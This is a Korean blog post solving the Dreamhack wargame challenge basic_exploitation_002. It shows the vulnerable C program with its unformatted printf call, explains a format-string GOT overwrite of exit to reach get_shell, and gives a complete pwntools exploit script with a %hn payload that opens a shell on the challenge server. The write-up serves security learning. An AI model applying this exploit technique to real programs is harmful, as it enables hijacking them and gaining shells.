system hacking

드림핵 basic_exploitation_002 문제 풀이

24kg0ld 2024. 7. 15. 23:31

1. 문제 파일 다운, 환경 확인

문제를 다운 받고 $ chmod +x basic_exploitation_002로 파일에 실행 권한을 부여했다.
environment

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

nx만 적용되어 있는 32비트 시스템이다.

2. 코드, 취약점 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh"); // 쉘 실행
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80); //buf의 크기만큼 읽어와서
    printf(buf); //printf 실행

    exit(0);
}

printf를 사용할 때 형식 지정자를 지정하지 않았기 때문에 포맷 스트링 버그를 활용할 수 있다.
PIE가 적용되어 있지 않기 때문에 코드 내의 함수 위치는 고정되어 있다.
그렇기 떄문에 get_shell의 주소와 exit의 got 주소를 알아낼 수 있다.
got overwrite로 exit의 got를 get_shell의 주소로 바꾸면, exit이 실행될 때 get_shell이 실행될 것이다.
got overwrite를 하기 위해서 포맷 스트링의 순서에 따라 어떤 위치를 가리키고 있는지를 알아내야 한다.
그 후 인자에 맞게 포맷 스트링 버그를 활용하면 된다.

3. get_shell 주소 구하기

pwndbg> info func get_shell
All functions matching regular expression "get_shell":

Non-debugging symbols:
0x08048609  get_shell

위와 같이 get_shell의 주소가 0x08048609임을 구했다.

4. 인자 찾기

$ ./basic_exploitation_002
aaaabbbbccccddddeeeeffffgggghhhh %x %x %x %x %x %x %x %x
aaaabbbbccccddddeeeeffffgggghhhh 61616161 62626262 63636363 64646464 65656565 66666666 67676767 68686868

첫번째 포맷 스트링이 buf의 첫 4바이트를 가리키고 있고, 그 뒤도 순서대로 다음 주소를 가리키고 있음을 알 수 있다.
32비트 시스템의 함수 호출 규약을 생각해보면 이해할 수 있다.

5. 코드 작성

from pwn import *

p = remote('host3.dreamhack.games', 17984)
e = ELF('./basic_exploitation_002')

context.arch = 'i386'

get_shell = 0x08048609 #get_shell의 주소
exit_got = e.got['exit'] #exit의 got 주소 구하기

payload = b"%2052c%8$hn" + b"%32261c%7$hn" + b'A' #get_shell의 주소만큼 출력해서 %hn의 인자로 전달, 4의 배수로 맞추기 위한 패딩
payload += p32(exit_got) + p32(exit_got+2) #exit_got가 7번째, exit_got+2가 8번째 인자가 될 수 있게 입력
p.send(payload)

p.interactive()

위의 코드로 익스플로잇에 성공했다.

6. payload 상세 설명

%hn은 앞에서 입력된 문자의 수를 2바이트 공간에 저장하는 형식 지정자이다.
위의 코드에서 get_shell의 주소는 0x8048609 = 134514185로 매우 크다.
이 큰 수만큼을 한번에 출력하면 시간이 오래 걸릴 것이기 때문에
get_shell 주소의 절반인 804를 exit의 GOT 뒤의 2바이트에 저장하고 뒤의 8609를 exit의 GOT 앞의 2바이트에 저장한 것이다.
이를 4바이트로 보면 결국 0x8048609로 저장되게 된다.
이 때 리틀엔디안으로 값이 저장되는 것도 생각해줘야 된다.

payload에서 살펴보면
먼저 804를 10진수로 바꾸면 2052이고, 이 수를 8번째 인자인 exit_got+2에 전달해준다.
그 후 뒤의 8609를 10진수로 바꾼 34313만큼을 전달해줘야 한다.
이 때 %2052c로 이미 2052바이트만큼이 출력되었으므로 34313 - 2052 = 32261만큼을 7번째 인자인 exit_got에 전달해준 것이다.